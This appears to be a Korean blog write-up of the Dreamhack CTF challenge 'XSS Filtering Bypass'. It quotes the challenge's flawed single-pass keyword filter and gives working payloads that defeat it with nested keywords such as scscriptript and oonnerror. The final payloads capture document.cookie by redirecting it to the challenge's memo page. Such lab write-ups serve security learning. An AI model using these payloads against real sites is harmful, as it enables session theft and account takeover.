문제 설명
XSS Filtering Bypass에 대한 문제이다. 이를 통해 크로스 사이트 스크립팅 취약점을 이용하여 문제를 해결해야함을 알 수 있다.
메인페이지에 접속을 하면 vuln, memo, flag에 대한 페이지에 접근할 수 있다. 먼제 vuln에 대해 살펴보겠다.
vuln 페이지 소스코드
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
vuln 페이지는 param이라는 인자를 받아 xss_filter함수를 통해 필터링을 진행한 후 그대로 출력해준다.
xss_filter을 살펴보자!!
xss_filter 함수 소스코드
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
script, on, javascript 문자를 반복문을 통하여 ""으로 치환을 한다. 치환 필터링 방식에서 중요한 점은 치환을 한번만 하면 우회가 가능하기 때문에 무한반복으로 더이상 치환할 문자들이 없을 때 까지 진행해야한다. 하지만 여기에서는 단 1회만 검증하기 때문에 우회가 가능하다.
우회 방법
script 우회: scscriptript, scronipt
on 우회: oonn
문제 풀이
script 문자열 우회
payload: <scscriptript>alert(1)</scscriptript>
on 문자열 우회
payload: <img src=test oonnerror=alert(1)>
flag 획득
flag페이지에서 param 파라미터를 입력할 수 있다. 해당 파라미터를 입력함으로써 xss를 유발한다. payload는 아래와 같다.
payload
<scscriptript>locatioonn.href="/memo?memo=" + document.cookie; </scscriptript>
<scscriptript>document["locatio" + "n"].href="/memo?memo=" + document.cookie; </scscriptript>
<img src=test oonnerror='locatioonn.href="/memo?memo=" + document.cookie;' />
등등
위 payload를 사용하여 flag를 획득하였다.
'WEB hacking > 드림핵(dreamhack)' 카테고리의 다른 글
드림핵 blind-command WriteUp (0) | 2023.09.04 |
---|---|
드림핵 Carve Party WriteUp (0) | 2023.09.04 |
드림핵 web-ssrf Write Up (0) | 2023.08.09 |
드림핵 file-download-1 Write Up (0) | 2023.08.07 |
드림핵 image-storage Write Up (0) | 2023.08.07 |